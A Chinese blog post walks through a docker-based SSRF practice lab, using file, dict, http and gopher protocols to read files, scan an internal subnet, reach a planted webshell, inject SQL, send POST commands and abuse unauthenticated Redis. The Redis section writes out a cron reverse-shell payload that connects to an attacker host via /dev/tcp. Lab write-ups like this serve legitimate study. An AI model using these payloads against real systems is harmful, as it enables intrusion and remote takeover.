沉铝汤的破站

IS LIFE ALWAYS THIS HARD, OR IS IT JUST WHEN YOU'RE A KID

跟着国光师傅学习SSRF

0x00 前言


上个月看到过国光师傅的文章,但是一直没有时间来自己练一练,得益于某带(实为江西省某211)专搞互联网+放假十多天,懒狗现在有了点时间。因为懒,所以这里使用另外一位师傅(Duoduo-chino)上传在Github的docker-compose.yml来快速搭建,不过看着好像少了两台主机…先不管,先玩着😋

total.png

0x01 环境的搭建


使用Duoduo-chino师傅的docker-compose.yml,输入命令:

docker-compose up -d

image-20211009193234984

看着少了两台,先玩着,如果后面有问题再补。

qiao李麻,果然有问题,一开始就应该发现的,下次有空再来弄数据库的部分吧

后续发现,其实是有做sql部分的,可能是没暴露docker里的端口吧

0x02 访问公网靶机


漏洞测试

是一个可以输入网址获取到快照的网站,一看就是典型的SSRF可能出现的地方。

image-20211009194018870

所以我们先来测试一下是否存在SSRF漏洞,这里使用file协议进行测试:

image-20211009195818251

很显然,这里存在SSRF的漏洞,当然有时候会不支持file协议,你可以换成http协议来访问localhost或者127.0.0.1以及它的十进制表示方法(2130706433),或者别的什么协议。

0x03 信息收集


file协议

使用file协议可以读取文件,这里我们为了进一步内网渗透,所以读取能显示主机IP的文件,如:file:///etc/hosts,结果如下:

image-20211009202958167

可以看到它的内网IP为:172.72.23.21,这帮我们确定了内网的网段,为我们后面的内网资产收集打下了基础。

dict协议

已经知道了网段(这里我们只进行C段扫描,其实就是爆破D段),那我们可以借助dict协议来探测一下内网的主机,以及其开放的端口,但是只能探测TCP端口有回显的服务,这里需要借助Burp:

image-20211009210948755

这里你可以使用Cluster bomb模式,或者Payload Type中的Custom iterator,总之这里就是要有一个笛卡尔积的爆破过程,我这里使用的是前者,设置position1为从1-255的数字:

image-20211009214029229

position2为收集的常用端口的字典:

image-20211009214756869

点击start后,我们就可以判断存活的主机及其开放的服务(这里为了快速点,我结果展示的时候,并没有实际弄48个端口,不然要12240次爆破),然后慢慢筛选…我不知道除了看Length还有什么快速的方法吗,部分结果如下图:

image-20211009222451614

到这里我居然才意识到这个docker-compose.yml的问题…真迟钝,之前ps的时候看到没有3306我就不该用了..麻了,不过还是有参考意义的,仿照着自己写一个吧

后续发现是有SQL服务的,但是可能没暴露,所以探测不到

经过整理,内网资产如下:

172.72.23.21 - 80
172.72.23.22 - 80(3306) 
172.72.23.23 - 80
172.72.23.24 - 80
172.72.23.25 - 80
172.72.23.26 - 8080
172.72.23.27 - 6379

http协议

经过了上面的资产收集后,我们可以发现有好多看上去都是Web(80、8080),所以这时候,我们就可以进一步使用http协议去查看下:

image-20211009235456342

不过作用不大,感觉实战中,这时候应该是会想着去攻破其中一台,然后用vpn连接进内网,直接进行内网渗透。

0x04 代码执行


如上图,172.72.23.22下是一个有代码执行的网站,国光师傅是在这里存入了一个一句话木马,我们可以使用http协议结合burp进行目录扫描(扫描结果是存在shell.php),具体操作就不说了,这里直接贴一个利用的图:

image-20211010144026686

值得注意的是,这里空格需要进行二次URL编码,因为是服务器帮你请求,如果仅进行一次编码的话(主要还是Burp这里会进行一次解码),服务器请求的URL便会是: http://xxx/shell.php?cmd=cat /flag,产生了截断,所以会请求失败。

0x05 SQL注入


172.72.23.23下是一个典型的可能存在SQL注入的网站,这里用http协议进行测试: http://172.72.23.22/?id=1',居然意外发现镜像有做数据库的服务,没探测到可能是因为没暴露端口之类的吧,懒狗也不懂…

image-20211010150847457

就很简单的用http协议进行注入就行了,和平常的SQL注入一样,只是注意要把空格二次编码或者换别的来避免空格,利用结果如下图所示(这里使用/**/来避免使用空格,但是因为注释符#在url中会被当成锚点,所以也要二次编码):

image-20211010152216050

0x06 命令执行


172.72.23.24的网站下又是一个很经典的地方,一看就知道是命令执行,如果你要问我为什么一看就知道…😋大概就是刷题刷多了吧,农村做题家。

image-20211010153036043

与之前不同的是,这里采用的是POST方式的表单,所以我们不能再用http协议来攻击了:

image-20211010154144420

那我们要怎么办呢?(其实我在想这里能不能使用拆分攻击或者走私🙄,不过学艺不精,想不出)记得之前我们在从初识Redis到利用脚本的编写一文中有接触过另一个协议: gopher。对,使用gopher协议就可以传递TCP数据流,传递一个POST自然是不在话下的。不过在使用之前,我们先来回顾一下gopher协议,因为其中有一些值得我们注意的地方:

  • gopher协议的请求格式为: gopher://ip:port/_TCP报文,这里之所以有一个下划线”_“,是因为gopher协议会吃掉第一个字符,所以放一个来占位,没实际意思。
  • port缺省时默认使用70端口,所以即使你访问的Web是80端口,也请记得带上端口进行gopher请求
  • TCP协议以\r\n来回车换行,url编码为%0d%0a
  • 因为是在Burp中构造报文来SSRF,所以我们依然要进行二次URL编码(这点http和gopher协议一致),第一次是Burp传到服务器会进行一次解码,第二次是服务器内网访问会进行URL解码。

下面我们先构造一个POST请求(记得删除Accept-Encoding,否则结果会被两次编码):

image-20211010165340763

然后我们把他二次编码:

image-20211010165544580

攻击结果:

image-20211010165747967

0x07 Redis


别的什么XXE之类的,都差不多,这里就不做了。我们这里就最后只做一下Redis的攻击,虽然之前做过,但是这里重温一下😋。

未授权

通过未授权的Redis拿下shell,一般有三种方法:

这里因为靶机没有开启SSH和Web服务,所以我们只能通过定时任务来反弹shell。先来验证一下开启6379端口的靶机是否有未授权Redis,我们可以使用dict协议,是的,dict协议不仅可以用来探测端口,还能用来执行命令,不过需要注意的是,dict不支持换行符,也就是说dict协议一次只能执行一条命令,格式如下:dict://ip:port/命令。这里我们使用redis中的info命令,来判断是否存在未授权:

image-20211010201508341

可见,确实是存在未授权的redis的。那么,现在万事俱备,只欠东风,我们来构造我们的payload,先写出命令:

flush all #删除所有key,保证我们的优先级最高
config set dir /var/spool/cron/ #设置目录,还有/etc/crontab或者/etc/cron.d/也是可以存放定时任务的地方
config set dbfilename root #文件名
set chenlvtnag "\n* * * * * /bin/bash -i >& /dev/tcp/Hacker_IP/2333 0>&1\n" #这里之所以有两个\n是为了保证写入的定时任务格式正确
save #保存

写这篇文章以及之前那篇关于Redis的文章时,懒狗还未完全理解Redis中的基础操作,所以可能有点小问题,下次再仔细学学

利用的时候,只需要用burp结合dict协议来逐条发包即可,最好url编码一次(受post中的&影响),不过不需要编码两次,因为这里不是http协议。

image-20211010211701227

成功反弹shell:
image-20211010211943772

进docker容器,可以看到成功写入了,让我有点惊讶的是,crontab任务文件里虽然有一大堆redis的信息,还是能够正常执行:

image-20211010212146722

其实这里我们还是可以像之前那篇文章一样用gopher协议来攻击,只不过那样我们就需要构造一下报文,需要遵守redis中的RESP协议。另外还需注意,在Burp中使用gopher协议任然是需要二次编码的,大概是gopher协议和http一样会自己解码一次。其次,因为dict协议不支持换行,所以是无法执行多行命令的,而当redis开启认证后,需要带上 auth your密码登录然后才能来进行下一步操作,这时候使用dict协议就不行了,只能选择gopher构造RESP报文的方法来攻击。

最后还有什么MySQL提权之类的, 先不做了

0x08 参考


手把手带你用 SSRF 打穿内网 | 国光 (sqlsec.com)